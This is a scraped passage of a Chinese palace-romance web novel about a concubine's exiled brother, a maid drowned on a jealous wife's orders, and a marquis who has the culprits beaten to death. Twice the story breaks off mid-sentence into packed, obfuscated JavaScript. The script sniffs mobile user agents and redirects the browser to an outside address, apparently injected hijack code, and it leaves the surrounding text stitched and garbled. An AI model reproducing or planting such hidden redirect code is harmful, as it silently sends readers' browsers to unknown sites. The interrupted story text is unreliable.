两人并肩走在御花园的青石小路上,闻熙将顾妧的手拢在掌中,温声道:“你不是一直说,你哥哥博闻强识,雅擅文章,是不可多得的栋梁之才。朕近来也读了几篇他的策论,确实是字字珠玑,斐然成章。” 顾妧赧然,“陛下谬赞了。” 闻熙挑眉:“朕近日将你哥哥提拔进了太学,任五经博士一职,今后你们兄妹二人都在上京,便可以时常见面,不必受生离之苦了。” 顾妧欣喜道:“真的?” “君无戏言。” 顾妧一把抓住闻熙的胳膊,激动地说:“哥哥什么时候才能回来?陛下,您能准臣妾见哥哥吗?” 闻熙在她的鼻梁上轻轻刮了刮,戏谑地道:“一说到你哥哥就这般急,朕几时见你紧张过朕了?” 顾妧弯起嘴角:“臣妾住在宫中,日日都能见到陛下,可是哥哥半年才能见上一回。臣妾自然着急了。” 说完,她乖顺地将头倚在闻熙肩上,“多亏了陛下,不然臣妾与哥哥还不知道何时才能见上一面呢。” 闻熙叹了口气,“朕这次将你哥哥从清河调回来,着实费了不少心神。你要见你哥哥,朕不会阻拦,但还是小心一些,毕竟这宫中,不是朕一个人说了算。” 顾妧红了眼,“陛下,当年,要不是贺……将军从中作梗,哥哥也不会被贬,在清河苦心经营五年之久,您也不会处处受掣肘……” “顾妧!”闻熙眉眼冷了几分,斥道:“隔墙有耳,这些话,朕不许你再说!” 顾妧咬着唇,眸中溢出一丝水痕,缄默不语。 顾云凌于三日后到了上京城。 马车一路颠簸,车轮吱呀吱呀,扬起阵阵飞尘,缓缓向皇宫的方向驶去。 顾云凌撩起车帷,神情复杂地望向眼前巍峨气派的千寻绮殿。 廊腰缦回,朱梁绣楹,钩心斗角,一条汉白玉铺成的甬道连向崇政殿,飞扬的檐枙高耸入云,琉璃瓦顶折射出刺目而耀眼的光芒,仍然像五年前他被贬出上京那样气势磅礴。 马车在端阳门外停下,顾云凌打起车帘,远远地便看见赵椿站在门外等候。 赵椿穿着一身暗红的长袍,头戴黑色皂巾,手执拂尘,笑眯眯地道:“顾先生,陛下特命奴才在此等候,这就引您去见顾美人。” 顾云凌眼神暗了暗,紧绷着唇道:“那就多谢赵公公了。” 御花园内,一座精致的四角亭中,顾妧坐在檀木桌前,将手搭在眉骨处,焦急地四下张望。 青石板小路的尽头,走出一个风尘仆仆的身影。 顾妧眼睛一亮,惊喜地喊道:“哥哥!” 眼前的妹妹一身锦衣华服,小脸也圆润了不少,看样子应该在宫中过得不错。 顾云凌心下一酸,几步迈入亭中:“阿妧,哥哥回来了。” 顾妧眼眶湿润,抽泣着扑进了顾云凌怀里,抱着他哭道:“哥哥……” 顾云凌摸着妹妹的头,感慨地叹道:“阿妧长高了不少。” 顾妧的眼泪扑簌簌地往下落,“哥哥,这些年,你在清河还好吗?贺……大将军有没有派人找你麻烦?” 顾云凌苦笑:“哥哥一切都好。都怪哥哥没用,枉我自诩才华过人,还要靠在宫里当娘娘的妹妹,才能重回上京。阿妧,你心里一定在怨哥哥吧?” 顾云凌是南阳人氏,五年前,他才刚刚及冠,便被举为茂才。本以为从此官图亨通,平步青云,可他出身寒门,在世族扎堆的上京寸步难行,很快便被排挤出京,贬到清河做一个小小的曹吏。 今年岁初,他的父亲去世,母亲带着妹妹来上京投奔外家。一次踏青时,正好遇上了微服出游的皇帝,顾妧就这么被皇帝看上,带入宫中,赏了个美人的位份。 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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江婳将案上散乱的册子堆成一沓,递到秦淮月手上,“你将这些诗集给顾美人送回去吧。” 秦淮月点了点头。 日头渐渐西坠,秦淮月抱着一沓诗集,走在铺着青花石砖的小道上。 她今日穿了一件素色襦裙,上搭朱红绣芙蓉的对襟,裙摆随着她的动作翩翩漾开,如同春水泛波。 行至御花园,她一眼便瞧见,远处的莲池中,一道霞光瑟瑟铺就,将半池碧水染成了夕阳的颜色。 那日晏澄洲与她解药,就是在这莲池中。 思及此,秦淮月的耳梢腾起热意,白嫩的脸也同那池水一般,被晚霞烧得通红。 她甩了甩脑袋,努力将那日羞人的回忆驱逐出脑海,深吸了一口气,快步往锦绣宫走去。 秦淮月正准备绕过莲池,两个膀大腰圆的嬷嬷却突然从两边包抄上来,将她的胳膊反剪在背后。 秦淮月倏地一惊,手中的诗集散了满地。 一个嬷嬷掏出麻绳,试图将秦淮月的双手绑住。 秦淮月挣扎起来,“你们是何人?做什么要绑我?” 嬷嬷冷笑一声:“秦姑娘,我们为何绑你,你心里应该清楚得很。” 秦淮月咬紧牙关,强自镇定下来,“是谁派你们来的?”她拼命挣扎,厉声道:“我可是凤仪宫的人,你们要绑我,也得看看皇后娘娘的脸面!” 嬷嬷在她背上推搡了一把,押着她往莲池边上走去:“秦姑娘,你搬出皇后娘娘也没用。你也莫怪老奴,要怪,就怪你狐媚惑人,勾引侯爷,碍了我们夫人的眼!” 秦淮月恍然大悟,这两个嬷嬷,是贺秋娘的人! 两个嬷嬷力气极大,秦淮月根本不是她们的对手,眼看离莲池越来越近,她一咬牙,急中生智:“我、我是侯爷的人!若是侯爷知道,你们夫人背着他害我,追究起来,遭殃的可是你们!” 嬷嬷从袖间抽出一块布条,堵住秦淮月的嘴,狞笑着说:“秦姑娘,你好生上路吧!放心,侯爷真追究起来,夫人也会保住老奴。这一日夫妻百日恩,侯爷总不至于为了你,跟我们夫人撕破脸吧?” 说罢,两个嬷嬷在秦淮月背上用力一推,将她推入了冰冷的水池中。 10. 一翦蘼芜(二) 入水的那一刻,无边的恐惧随着水流汩汩上涌,铺天盖地地漫过了秦淮月的头顶。 秦淮月从小就怕水。 小时候,晏澄洲带着她去金陵城中的北湖泛舟,湖面上稍稍起一点儿风浪,秦淮月就害怕不已。 晏澄洲时常拿这事儿来打趣她,笑她是只旱鸭子,一点儿也不像南方女娘。 等她大了一些,倒是没那么怕水了,但依然不会洑水。 唯独有一回,晏澄洲醉酒落了水,秦淮月脑子一热,毫不犹豫地就跟着他跳了下去,硬是把晏澄洲捞上了岸。 可是这次,她的双手被绑缚着,丝毫无法动弹。 秦淮月拼命将堵在口中的布条吐掉,双腿努力踢蹬着,试图浮出水面。 她的脚竟然被池底错乱的藻荇给缠住,秦淮月本能地伸手想去解,却意识到她的手也被麻绳牢牢捆住,根本束手无策。 秦淮月呛了几口水,胀痛的脑袋空白一片,渐渐喘不上气,身子瘫软下来,缓缓向黑暗的池底沉去。 快要窒息的那一刻,一张熟悉的脸竟浮现在她面前。 秦淮月恍惚地睁开了眼睛,这一定是错觉吧。 来救她的人不是晏澄洲,也不是江婳。 顾妧双手灵活地划动,奋力地向着她游来,她嘴边冒出一连串的气泡,一把抓住秦淮月的胳膊,带着她往岸上游去。 感受到手臂上坚韧的力度,秦淮月感到一阵安心,整个人松懈下来,她又冷又累,缓缓闭上眼睛,意识渐渐被黑暗吞没。 再次醒来,是在顾妧的锦绣宫。 秦淮月双手交叠在腹间,身上盖着一层厚厚的羽被。顾妧在寝殿里点了炭盆,烧得屋内暖烘烘的,让人一点儿也不觉得冷,反倒出了一身汗。 一串脚步声在帘外响起,顾妧端着一碗药,撩开了帘栊,欣喜道:“秦姑娘,你醒了?快把药喝了吧。” 秦淮月的睫毛簌簌颤抖,艰难地支起身子,“顾、顾娘娘……” 顾妧连忙腾出一只手,将她身上的被子往上提了提,“你还发着烧呢,可千万别再受凉。” 她端起药碗,将碗里的药吹凉,递到秦淮月唇边,抿出一个温柔的笑:“不烫的,快喝吧。” 秦淮月眼眶一热,眼中洇出些许水汽。 五年来,她一直习惯了照顾别人,这还是她头一次,被除了江婳以外的人这般细心照料。 秦淮月接过药碗,嘴角抽搐了几下,仰头将药汁一饮而尽。 苦涩的药汁一股脑灌进肚里,浓浓的苦意上涌,将她的眼泪彻底逼了出来。 秦淮月的喉咙哽咽了几下,再也忍不住,干脆哇的一声哭了出来。 顾妧被她这突如其来的一嗓子唬得一愣,手忙脚乱地递上一张帕子:“秦姑娘,你、你别哭啊……” 秦淮月双眸通红,哭得抽抽嗒嗒,眼泪怎么也止不住,一边呜咽着,一边用手背胡乱揩着眼泪。 这时,她隐约听见,一连串响亮的咒骂声从殿外传来,听声音好像是江婳。 江婳她什么时候来的? 秦淮月泪眼朦胧,茫然地向殿外望去。“娘娘,外面怎么了?” 顾妧神情复杂,用手小心翼翼地指了指殿外,“哦,刚才靖远侯来了,想要来看看你。皇后娘娘不让,这会儿正在外头跟他吵架呢。” 吵架? 江婳和晏澄洲? 秦淮月登时掀了被子,想跳下床去。 江婳性子软和,跟谁说话都是温温柔柔的,从来没跟人红过脸,怎么吵得赢晏澄洲呢? 顾妧一惊,连忙伸手将她拦住:“秦姑娘!你现在受不得凉,皇后娘娘叫我看好你,不能让你下床!” 秦淮月心中焦灼,磕巴道:“那,那我家娘娘怎么办?” 顾妧安抚地扶住她的肩,“没事的,侯府的人害你在先,靖远侯他自知理亏,不敢强闯进来的。” 殿外,晚风寂寂,夜凉如水。 晏澄洲紧绷着脸,一双眼眸冷如深渊寒潭,逼视着面前的江婳,冷冷吐出两个字:“让开。” 江婳牙关咬得紧紧的,倔强地仰着头,摆出一副视死如归的姿态,衣袖下攥紧的拳却在微微发抖,“阿月她还病着,她现在不想见你。” “是她不想,还是你不想让我见她?”晏澄洲嗤笑出声。 江婳再次重复:“阿月病了,她不想见你。” 下一秒,晏澄洲的剑就架上了她的脖子。江婳的肌肤娇嫩,顷刻便见了血。 江婳浑身发抖,声音也在打颤:“靖远侯!你放肆!” 晏澄洲哂然:“你是不是以为,有月儿在你身边,我就不敢杀你了?” 他轻轻地挑转剑刃,剑尖直指江婳的咽喉,“就凭你,根本拦不住我,只要我现在调人,御林军立刻就能将这锦秀宫踏成平地。” 江婳捏紧了拳,指甲嵌进皮肉,一阵钻心的痛。 晏澄洲轻笑:“看来,你是真的不怕死。” 她红了眼圈,身子不住地颤抖,却仍然扬起下巴:“你,你杀我试试!杀了我,阿月一辈子都不会原谅你!” 晏澄洲的剑尖一颤,戳破了江婳的下颌,一滴鲜红的血珠顺着剑身缓缓滑落。 他的目光瑟缩了一下,似乎是真的有所顾忌。 江婳咬紧了下唇,一字一句道:“靖远侯,本宫不管你与阿月之前是何关系,既然你已经在北雍娶妻,就请你不要再来招惹她。你那夫人又是个善妒的,这回派人推阿月下水,下回,还止不定要翻着花样害阿月呢。” “为了阿月找想,本宫拜托你,离她远一点。” 晏澄洲摩挲着剑柄,一言不发。 半晌,他才抬起眼帘,墨色浓稠的眼瞳中,此刻翻涌起滔天怒火。 “她是我的人,我凭什么不能见她?” 江婳面色不豫:“阿月才不是你的!” “那皇后想要如何?你把月儿拘在身边,让她为奴为婢地伺候你。难不成你要一辈子都抓着她不放吗?” 江婳气笑了:“阿月不属于任何人,她只属于这天地,想去哪就去哪儿。她想要出宫嫁人也好,回南方也好,我都不会阻拦她!” 两人正僵持着,御林军统领贾韫忽然带着两个嬷嬷走了过来。 贾韫大手一挥,身后的士兵便将那两个嬷嬷狠狠推,两人被推得一个趔趄,歪倒在地上。 “侯爷,这便是那两个推秦姑娘下水的人。”贾韫道。 晏澄洲抿着唇,一双眼眸不带任何情绪,淡淡地向下首扫过来,便叫两个嬷嬷吓破了胆。 两人扑通一声跪到他面前,哭喊着说:“侯爷饶命!侯爷饶命啊!实在不是老奴自作主张,要推秦姑娘下水,都是……都是夫人吩咐老奴做的!” “贾韫。” “属下在。” 晏澄洲淡道:“拖下去,杖毙。” “是。” 两个嬷嬷惊恐地求饶,拼命挣扎起来:“侯爷!侯爷饶命啊!” 贾韫不耐地拧着眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319205|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,往两人嘴里一人塞了一块布条,吩咐身边的士兵将人带走。 秦淮月的手抵在朱漆木门之后,指尖掐得泛白,手背隐隐抽搐。 轻飘飘的两个字,却能轻而易举地要了两个人的性命。 没一会儿,殿外便传来木杖落在皮肉上沉重的闷响,和两个嬷嬷撕心裂肺的哀嚎声。 起初,两人还有力气叫唤几声,到了后来,求饶声逐渐变得断断续续,一股浓烈的血腥味儿在空气中弥散开来,闻着便觉心惊肉跳。 不多时,刑凳上的两个人便没了气息,脑袋无力地耷拉着,后背血肉模糊,鲜血凝固在碎烂的衣衫上,嗒嗒滴落。 江婳惨白着一张脸,嘴唇全无血色。她胃里一阵翻江倒海,忍不住扶着一旁的宫女干呕了起来。 在场的宫人也被这血腥骇人的场面给震慑住了,皆捂着嘴瑟瑟发抖,不敢透出一丝声气儿。 这是江婳第一次亲眼目睹杀人。 她眼睁睁地看着,方才还活生生的两个人,被打得皮开肉绽,逐渐没了气息,在她面前化作一滩烂肉。 明明是她们推阿月下水,想害阿月的性命,江婳还是感到一阵恶寒。 杀鸡儆猴。 晏澄洲当着她的面,杖毙了害阿月的人,一是为了给阿月出气,二是给她一个警告,生杀予夺,全在他一念之间。 江婳捂着胸口一阵呕吐,秀气的五官皱成一团,忍不住咳嗽起来。 “处理干净。” 晏澄洲的语气不咸不淡,提步向锦绣宫的正殿走去。 隔扇门吱呀一声开了。 暖黄的烛光如潮水般自殿内倾泻而出,顷刻间驱散了死寂与黑暗。 秦淮月着一身月白寝衣,长发柔顺地垂在胸前。兴许是发烧的缘故,她的两腮晕着不正常的酡红,眸光淡淡地望来,与晏澄洲四目相对。 晏澄洲不由得心神一动,在她清亮目光的凝视下,他的手背竟控制不住地微微颤抖。 除了他自己,没有人明白他此时有多么慌乱。 “晏筠”,秦淮月轻声道,“我有些话想同你说。” 晏澄洲沉默了半晌,道:“好。” 两人一前一后进了锦绣宫的偏殿。 秦淮月将门阖上,转过身来,微微垂着眉眼:“这里是顾娘娘的地方,你我不便久留,我与你说几句话就走。” “你说,我听着。”晏澄洲心尖不由得一阵发颤。 秦淮月轻笑,道:“晏筠,虽然我不明白,你为何做了北雍的靖远侯,或许,你有你的苦衷。但事已至此,我虽然无法接受……但也拿你没有办法。” 晏澄洲的心不断往下沉。 秦淮月苦笑道:“殿下她说得没错,如今你已在北雍娶妻,你我便再无关系。” “那日让你替我解药,实在是迫不得已,我被逼得没路走了,所以……所以才选择了你。没想到竟惹了侯夫人的不快,令你们夫妻不睦——” “月儿!”晏澄洲匆忙打断她,他眼中竟隐隐有些泪光。只是夜色昏沉,殿内光线昏暗,看不大分明。 秦淮月说着说着,眼泪就不受控制地流了出来。 明明,她才是与晏澄洲从小一起长大的那个人,论先来后到,也是她先嫁的他。现在她却成了横在他们夫妻间的一根刺,扰得人家室不安。 她哭得一抽一抽的,纤弱的肩膀轻颤,如同风中将落未落的枯叶。 前所未有的慌乱,夹杂着心疼和自责,一齐向晏澄洲涌来。 11. 一翦蘼芜(三) 秦淮月红着眼睛,泪光泫然地看着面前的青年。 这是她尚在襁褓里就认识,从小喜欢到大的心上人。可现在他们却成了苟且的,算什么? 晏澄洲无措地伸手,解下自己的披风,将她拢进怀里,低头问:“冷不冷?” 她眼睫颤颤,整个人缩在宽大的披风内,越发显得娇小可怜。 晏澄洲压低了声线,尽量让自己的声音听起来温柔一些,“抱歉,是我一时不察,害你陷入险境。月儿,你放心,今日的事,我定会给你个交代。” 厚沉的披风带着他的体温,沉甸甸地盖在她的身上,秦淮月嘴唇颤抖,鼻子又是一酸。 她终于绷不住情绪,将脑袋靠在他的胸前,痛痛快快地哭了起来。 晏澄洲缓缓抬起手,却又不敢抱她,他害怕惹恼了她,她会再次将自己推开。 发泄之后,秦淮月深吸了一口气,旋即恢复了冷静。 “晏筠,没有哪个女子,会容忍自己丈夫身边有第二个人存在。侯夫人是这样,我也是。” “从今往后,我们井水不犯河水,我不再追究你为何投降,你也不要继续为难婳婳了,她于我,于你母亲有恩,先帝做的事,不能算到她的头上。” 晏澄洲瞳孔一缩,慌张地抓紧了她的手:“月儿,你不想要我了吗?” 秦淮月苦笑:“晏筠,是你先不要的我。” 晏澄洲颤声道:“那今后,你打算怎么办?你难道想要一辈子都跟在皇后身边吗?” 秦淮月暗下眼眸:“等江婳年纪大一些,在北雍站稳了脚跟,我就回金陵去,守着你爹娘、祖母的坟。等我老了,就随便找个人嫁了,粗茶淡饭也好,锦衣玉食也好,只要他肯对我好,我就情愿。” 晏澄洲喉咙阵阵发紧:“那我呢?” 秦淮月笑笑:“这五年你是怎么过的,以后就怎么过,你好好做你的靖远侯,只要你平安顺遂……” “这五年,我是怎么过的……” 他的声音竟带了一丝哽咽:“月儿,你知道这五年,我是怎么过的吗?” “这么多年,我没有睡过一个好觉!只要我闭上眼睛,我脑子里就全是、全是血!我爹娘的血,还有晏守川的血,还有安哥儿、祖母,还有你……” 他嘴唇颤抖,说得语无伦次,“你以为,是我有意要负南邺吗?是南邺负我晏家在先!” 晏澄洲目光哀恸,渗着泪光的眼睛极尽哀戚,仿佛下一刻便要支离破碎。 他牢牢扣着她的肩,将她禁锢在逼仄的墙角,两人挨得极近,彼此呼吸可闻,她甚至可以嗅到他身上那种好闻的松枝味。 秦淮月胸口剧烈地起伏着,扭过头,强迫自己不去看他的眼睛。 明明已经做好同他桥归桥路归路的打算,可是看到他这副自暴自弃的样子,她还是忍不住会心疼。 晏澄洲拧着她的下巴,强迫秦淮月与他对视。 秦淮月脸上泪水涟涟,贝齿紧扣,将柔嫩的唇咬出了血痕。 他盯着她看了许久,声音带着一种病态的癫狂,忽然飘忽地笑了:“月儿,你别想弃了我。” 他松开她的肩,推门而出,跌跌撞撞地融入了黢黑的夜色。 芙蓉院。 晚风吹皱了荷塘内的一池碧水,才露尖尖角的花骨朵头重脚轻,在冷风的倾轧下簌簌发抖。 檐下的青纱灯笼被风吹得来回摇晃,映照出女子姣好的面容。 妆台前,贺秋娘拈着针线,正专注地绣着一方藕色的丝帕。她引线的动作十分笨拙,稍不留神,手指便被扎出了几滴血珠。 贺秋娘蹙起眉,将指含在口中,吮了两吮。 银佩心疼地道:“夫人,您这是何苦呢?都这么晚了,不如先歇下吧。再这么熬下去,您的眼睛都要熬坏了。” 贺秋娘摇摇头,倔强地道:“不必劝我,我能绣好的。” 银佩叹了口气。 当年,侯爷被大将军俘至上京,贺秋娘那时候还是将军府的小姐,便一心恋慕着他。大将军宠爱妹妹,舍不得在婚事上委屈她,贺秋娘便如愿以偿地嫁给了侯爷。 府上人人都知侯爷爱莲成痴,夫人为了让侯爷欢喜,日日苦练女工,可绣了这么多年,还是绣不出一朵活灵活现的莲花。 成婚五年来,侯爷从来没有给过夫人好脸色,夫人一开始还强颜欢笑,后来竟也渐渐习惯了他的冷漠,虽然同住一个屋檐下,两人却形同陌路,貌合神离。 银佩思绪浮沉,芙蓉院的门却被砰地一声踹开了。 贺秋娘的手蓦地一抖,针尖刺穿皮肉,痛得她轻呼了一声。 晏澄洲脸色阴寒,眉宇间透出一股狠戾,目光晦暗地看着二人。 两扇乌木门被撞得吱吱呀呀,发出一阵刺耳的声音。 银佩吓得面色惨白,“侯、侯爷……” 晏澄洲径直向贺秋娘走来,一把拧住她的腕,将她从妆台前扯了起来。 贺秋娘痛得连连惊叫,她咬住牙,细眉皱成一团:“夫君,你这是做什么?” 晏澄洲将她狠狠掼在地上:“贺秋娘!你在我面前装什么糊涂!派人推月儿下水,难道不是你干的好事?” 贺秋娘被他推得一趔趄,后脑勺磕在妆台上,菱镜、胭脂、香膏等物噼里啪啦地砸下来,碎得满地都是。 飞溅的碎片刺破了她的颊,一行鲜血顺着颧骨蜿蜒而下。 银佩瑟瑟发抖,双腿跪在地上,膝行到贺秋娘跟前,哭喊着说:“侯爷息怒!夫人在府中这么多年,一直安分守己,从未有过出格之处,侯爷定是误会夫人了……” 晏澄洲负着手,居高临下:“怎么,敢做不敢当吗?” 贺秋娘一言不发,撑在地上的手缓缓收紧。 换作以前,他稍稍对她说几句重话,她就委屈得不行,一个人能哭上小半个时辰。 此刻,贺秋娘却出奇地冷静。 她抬起手,拿袖子揩去脸上的血,毫不畏惧地对上晏澄洲的眸,冷笑道:“敢做不敢当的人,难道不是夫君吗?夫君既然背着妾与那贱籍女子私相授受,妾气不过,出手教训教训罢了。是夫君偷腥在先,如今,却还要为着那女子来质问妾,这又是哪门子的理?” 晏澄洲额角青筋直跳,一把揪起贺秋娘的衣领,双眼通红:“贺秋娘,你还真是不知悔改!” 贺秋娘讥诮地笑笑:“理不直气也壮,没想到夫君也有这么不讲理的一天。” “你住嘴!” 她反唇相讥:“明明是夫君理亏,现在却故作声势,妄图让妾乖乖闭嘴,夫君可是心虚了?” 晏澄洲眼底赤红,眼中尽是血丝,抓着她领口的手却在微微颤抖。 他怎么就,弄得个两头不讨好? 贺秋娘嘴唇颤抖着,盈满水光的眼倔强地看着他。 两人就这么僵持着,谁也不开口,偌大的房间内,只剩银佩微不可察的一丝呜咽。 贺秋娘缓缓抓住他的手,口吻带着一丝安抚:“夫君,现在可以放开妾了吗?” 晏澄洲反手掐住她的脖子,直视着她的眼睛,咬牙道:“无论如何,你差点害她丢了性命。来人!” 几个侍卫一拥而入:“侯爷。” 晏澄洲冷冷道:“看好夫人,没有本侯的允许,不许她见任何人,也不许踏出芙蓉院一步!” 贺秋娘怔愣道:“晏筠,你居然禁我的足?” 晏澄洲唰地抽出腰间的剑,毫不犹疑地朝贺秋娘砍下。 银佩吓得尖叫起来:“夫人!” 贺秋娘紧闭着眼,背上冷汗涔涔,只听见耳畔一阵簌簌的风声,刺啦一声。 她睫毛轻颤,缓缓睁开双眼。 晏澄洲的剑终究还是没落到她身上,只是挑破了她的衣袖。刀刃直直地插进砖缝,震碎了贺秋娘掌边的一盒胭脂。 晏澄洲的声音寒彻骨髓,“你给我记着,月儿不是你能动的人,她少一根头发,我便断你一指。若是不信,尽管试试。” 他收起剑,转身出了屋。 身后,贺秋娘撕心裂肺的哭喊声在寒风中一点一点弥散,“晏筠!你不过是我们贺家的一条狗!如果不是我,你坐得上靖远侯的位子吗?!” 她声音凄怆,哭着哭着,忍不住剧烈 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翌日清晨,江婳和秦淮月熬了清火的百合莲子汤,盛在陶瓮里,亲自给太后送去。 两人行至金华殿前,太后身边的女官通传后,江婳便端着汤进了殿。 殿中的青铜炭盆中烧着银丝炭,贺太后满脸病容,盖着一层锦被,安静地躺在榻上。 江婳端着漆盘,碎步上前,走到太后的榻前,轻声道:“母后,儿臣熬了百合莲子汤,还热乎着,您可要起来用些?” 贺太后将眼皮睁开一线,“哀家现在没有胃口,你先放着吧。” 江婳点头,将汤放在床头边的雕花桌案上。 贺太后眉目慈和地看着她,“孩子,你走近些,让哀家瞧瞧。” 江婳有些犹豫,揪着妆花缎宫裙,往前迈了几步。 贺太后看了一眼案上放着的汤,叹道:“你有心了。” 江婳连忙道:“这些都是儿臣应该做的,只要母后早日康复,儿臣就安心了。” 贺太后微微一笑:“好孩子,来,你坐到哀家身边来,陪哀家说说话吧。” 江婳理了理裙子,乖巧地在榻边坐下。 贺太后抬起眼帘,声音飘渺:“哀家病了这么些天,陪在哀家身边时间最长的,便是你。哀家老了,不中用了,估计也没有几天好活。有些话,哀家憋在心里,也只能同你说了。” 江婳抿了抿唇,“母后身体一向康健,此次不过是一点小病……” “哀家自己的身体,哀家心里清楚。此次风寒,竟拖了这么多天……皇帝,也从不过问,他只怕是一心盼着哀家死。”贺太后苦笑。 江婳不忍道:“陛下兴许是政务繁忙……” 贺太后冷哼一声:“罢了,皇帝毕竟不是哀家生的。若不是皇家子嗣凋敝,这皇位也轮不着他来坐。” 贺太后深深看了一眼江婳,问道:“皇帝待你可好?” “啊……”江婳局促不安地搓着手,结巴道:“陛下,陛下自然是极好的。” 才怪,除了侍寝,她和闻熙没有任何的交集。 贺太后笑:“你不必在哀家面前说皇帝的好话。咳咳,皇帝看似游手好闲,实际上并非池中物。这些年,他处处受着贺家的辖制,心中必定不甘。大将军这些年身体也愈发不好,等哀家一死,只怕皇帝会先下手为强……咳咳咳……” 贺太后说着,喉咙里便被浓痰卡住,忍不住捂着嘴呛声咳嗽起来。 江婳将她扶起,小心翼翼地给她拍背:“母后,您没事吧?” 贺太后摆了摆手:“哀家没事。” 她擦了擦嘴边的津涎,疲惫地躺回床上,一双眼睛半睁半闭,对江婳道:“哀家百年之后,宫中必有动乱,孩子,到那时,一定要明哲保身……” “哀家的话,不可与任何人谈起,皇后,你可记住了?” 江婳打了个激灵,“儿臣,儿臣记住了。” 贺太后阖上了眼,“好了,哀家乏了,你先退下吧。” 12. 一翦蘼芜(四) 江婳欠了欠身,神色复杂地出了金华殿。 秦淮月领着一众宫女,跟在江婳身后。 回想着刚才在殿中太后意味深长的一番叮嘱,江婳心中五味杂陈,脚下步子虚浮,不知不觉地便走到了御花园处。 一座精巧的凉亭中,闻熙坐在大理石圆桌前,神情专注地盯着桌上的竹盘,不知道在瞧什么。 见江婳朝这边儿走来,闻熙抬起眼帘,唇边噙着笑,冲她挑了挑眉。 江婳正专心走路,根本没有注意到闻熙的眼神。 秦淮月不禁头疼,忙快步追上去,拉了拉江婳的袖子:“娘娘,陛下看你呢。” 江婳偏过头去,便见闻熙着一身竹青色缂丝圆领锦袍,倚靠在凉亭的栏楯边,眼含戏谑地看着她。 她连忙顿住脚步,盈盈下拜:“臣妾见过陛下。” 闻熙笑得轻佻:“皇后想什么这般出神?朕离你离得这么近,皇后都注意不到。” 江婳脸红道:“臣妾一时走神,不是故意要无视陛下……还请陛下莫要怪罪。” 闻熙笑笑,向她招手:“你过来。” 江婳小脸骤垮。 怎么一个两个都让她过去? 虽然不情愿,她却不敢当众让闻熙下不来台,只能瘪着嘴,慢吞吞地踱步到他身边。 闻熙一把拉过她的胳膊,把她扯到自己身边,指着桌上的竹盘道:“皇后,朕近日得了两只好宝贝,你来替朕裁判裁判,看到底谁更厉害一些。” 江婳定睛一看,险些没背过气去。 竹盘里两只绿油油的大蟋蟀,一只青金麻头,一只绿麻头,抖动着长长的触须,雄赳赳,气昂昂,正在盘中打得不可开交! 啊啊啊啊!! 她最怕这些虫蚁了!! 江婳吓得惊叫起来,一把抱住闻熙的脖子,双腿紧紧缠着他腰,活像只壁虎:“你你你你——你快把它们拿开!!” 闻熙被她扑了个措手不及,他脚下一趔趄,重心不稳,跌坐在地。 闻熙的尾椎骨被磕得生疼,咬牙切齿地说:“皇后,你给朕下来!” 江婳放声大哭:“你把它们弄走!” 闻熙脸色发黑,他确实是存着吓一吓江婳的心思,哪里想到她这般不禁吓,竟哭成这样。 秦淮月见两人姿势不雅地瘫坐在地上,正想上前去将两人分开,却被宫女彩云拉住了袖子。 彩云捂着嘴笑:“月姐姐别去,陛下和咱们娘娘亲热呢,叫咱们给搅和了,陛下止不定要恼咱们。” 秦淮月想想,好像也是。 成婚三个来月,也算新婚。小打小闹,有益身心。 下一刻,凉亭里便传来闻熙怒不可遏的声音:“你们几个站在那边眼瞎了不是?还不过来把她拉开!” 秦淮月等一众宫女:“……” 江婳却哭哭啼啼地抱着他的脖子不肯松手,“你先把那两只虫子弄走!把它们弄走!” 闻熙气极反笑,“你这样抱着朕,朕怎么把它们弄走?” 江婳眼泪汪汪,脱口而出:“你以为我愿意抱着你啊?” 那两只虫子,那般大!那般绿!吓死人了!要不是她害怕虫子,她才不会主动去抱闻熙呢! 闻熙气得冷笑。好啊,这胆大包天的小皇后,连陛下都不喊了。 他一手箍着江婳的腰,一手拎起那只竹盘,将两只蟋蟀抖进了秸笼里,不耐烦地道:“好了,朕拿走了,你现在能下来了吗?” 江婳撇过头,看到那两只蟋蟀已经被关进了秸笼,立马松开了闻熙,接连往后退了好几步。 闻熙哼了一声,理了理被她抓得皱巴巴的衣裳。 江婳也意识到,自己在他面前丢了脸,只好委委屈屈地揪着袖子,不敢抬眼看他。 秦淮月等人这才跑到江婳跟前,团团簇拥着她,七嘴八舌地吵成一团:“娘娘,您没事吧?” “可有磕到哪儿了?” 闻熙脸色难看得不能再难看了。 她能磕到哪儿?她磕到他的膝盖骨了!现在他的右腿还隐隐发疼。 他没好气地将装着蟋蟀的秸笼提溜起来,“好了,朕回宫了,皇后也赶紧走吧,这御花园里虫子可多得很。” “陛、陛下!” 江婳和闻熙齐齐回头。 顾妧眼中噙着水雾,双目通红,鬓发凌乱,一路跌跌蹡蹡地向凉亭跑来。 闻熙蹙起眉心,顾妧身后一个宫人也没有,她竟是一个人孤身前来的。 顾妧嘴唇泛白,脸上尽是凄惶之色,她扑通一声跪到闻熙面前:“求,求陛下为我哥哥作主!” 闻熙攥紧了手中的秸笼,“你说什么?” “求陛下——” 闻熙的目光闪烁,在众人身上扫视了一眼:“皇后,你们先退下,朕有话同顾美人说。” 江婳张张嘴,想说些什么,秦淮月却挽住她的胳膊,将她拉到一边儿。 待人都走远后,闻熙方收回视线,沉下脸道:“妧儿,你这是何意?” 顾妧跪伏在地,脸上清泪斑斑,“陛下,您将哥哥提拔到上京,还予他博士的职位,让哥哥有了为大雍效力的机会,妾身,妾身感激不尽!可是,可是……” 